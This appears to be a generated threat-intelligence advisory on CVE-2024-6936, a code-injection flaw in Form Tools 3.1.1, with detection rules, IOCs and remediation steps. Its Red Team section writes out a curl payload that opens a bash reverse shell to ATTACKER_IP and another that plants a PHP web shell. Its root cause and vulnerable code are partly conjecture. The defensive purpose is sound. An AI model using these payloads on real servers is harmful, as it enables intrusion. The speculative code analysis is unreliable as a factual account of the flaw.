CVE-2024-6936

Executive Summary

CVE-2024-6936 is a code injection vulnerability in Form Tools 3.1.1, a web-based form management application. The flaw resides in the /admin/settings/index.php?page=accounts endpoint, where the Page Theme argument is improperly sanitized, allowing an attacker to inject arbitrary code. This can lead to remote code execution (RCE) or persistent cross-site scripting (XSS) depending on the injected payload. The vendor was contacted but did not respond, leaving the software unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Note: This is not a WordPress plugin; it is a standalone PHP application. The vulnerability is in the core application, not in any web server component.

Supply Chain & Package Security

Form Tools is a PHP application distributed via its official website. No package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is limited to the integrity of the downloaded archive from formtools.org. Users should verify checksums if available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High – The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) in the Page Theme parameter of the settings page. The application likely uses this parameter to dynamically include or render theme files. Without proper sanitization, an attacker can inject PHP code or JavaScript.

Root Cause: The Page Theme argument is passed directly into an include() or eval() function without validation or escaping. For example:

$theme = $_GET['page_theme'];
include("themes/$theme.php");

An attacker can supply a value like ../../../../tmp/malicious to include arbitrary files, or use PHP wrappers like php://input to execute code.

Attack Flow:

1. Attacker sends a crafted GET request to /admin/settings/index.php?page=accounts&page_theme=php://input.
2. The server includes the input stream, allowing the attacker to send PHP code in the request body.
3. The injected code executes with the web server’s privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Form Tools 3.1.1):

// /admin/settings/index.php (simplified)
$theme = $_GET['page_theme'];
include("themes/$theme.php");

Patched Code (Hypothetical):

// Whitelist allowed themes
$allowed_themes = ['default', 'modern', 'classic'];
$theme = $_GET['page_theme'];
if (in_array($theme, $allowed_themes)) {
    include("themes/$theme.php");
} else {
    // Fallback to default
    include("themes/default.php");
}

Key Difference: The patched version validates the input against a whitelist, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Form Tools 3.1.1 installed and accessible.
• No authentication required (default configuration).

Exploit Steps:

1. Start a netcat listener to receive the reverse shell:

   nc -lvnp 4444
   

2. Send the malicious request using curl:

   curl -X GET "http://target.com/formtools/admin/settings/index.php?page=accounts&page_theme=php://input" \
   --data '<?php system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>'
   

   Replace ATTACKER_IP with your IP.

Alternative Payload (Web Shell):

curl -X GET "http://target.com/formtools/admin/settings/index.php?page=accounts&page_theme=php://input" \
--data '<?php file_put_contents("shell.php", "<?php system($_GET['cmd']); ?>"); ?>'

Then access http://target.com/formtools/shell.php?cmd=id.

Blue Team

Detection:

• Monitor web server logs for requests to /admin/settings/index.php with unusual page_theme parameters (e.g., php://input, data://, expect://).
• Look for POST data containing PHP code in requests to that endpoint.
• Use the YARA and Sigma rules below.

Mitigation:

• Immediately restrict access to /admin/settings/ via .htaccess or firewall rules.
• Apply input validation on the page_theme parameter (whitelist allowed values).
• Upgrade to a patched version if available; otherwise, consider removing the theme selection feature.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/settings/index.php?page=accounts&page_theme=php://input
  • Outbound connections from the web server to unknown IPs on high ports (e.g., 4444).
• File System:
  • Unexpected PHP files in the web root (e.g., shell.php, cmd.php).
  • Modified theme files in /themes/ directory.
• Logs:
  • Web server logs showing page_theme with URL-encoded PHP code.
  • System logs showing execution of bash, nc, or python from the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_6936_Code_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6936 in Form Tools"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6936"
    strings:
        $s1 = "page_theme=php://input" ascii wide nocase
        $s2 = "page_theme=data://" ascii wide nocase
        $s3 = "page_theme=expect://" ascii wide nocase
        $php_code = "<?php" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and $php_code
}

Sigma Rule

title: CVE-2024-6936 Form Tools Code Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with code injection payloads.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page_theme=php://input'
            - 'page_theme=data://'
            - 'page_theme=expect://'
    condition: selection
falsepositives:
    - Legitimate use of PHP wrappers (unlikely in this context)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6936 Form Tools Code Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/settings/index.php"; http_uri; content:"page_theme=php://input"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Block external access to /admin/settings/ using a web application firewall (WAF) or .htaccess:

   <FilesMatch "index\.php">
       Require ip 127.0.0.1
   </FilesMatch>
   

2. Input Validation: Manually patch the code by adding a whitelist for the page_theme parameter (see patched code above).
3. Monitor Logs: Actively monitor for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative form management solution.
• If Form Tools is critical, engage a security firm to audit and patch the codebase.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.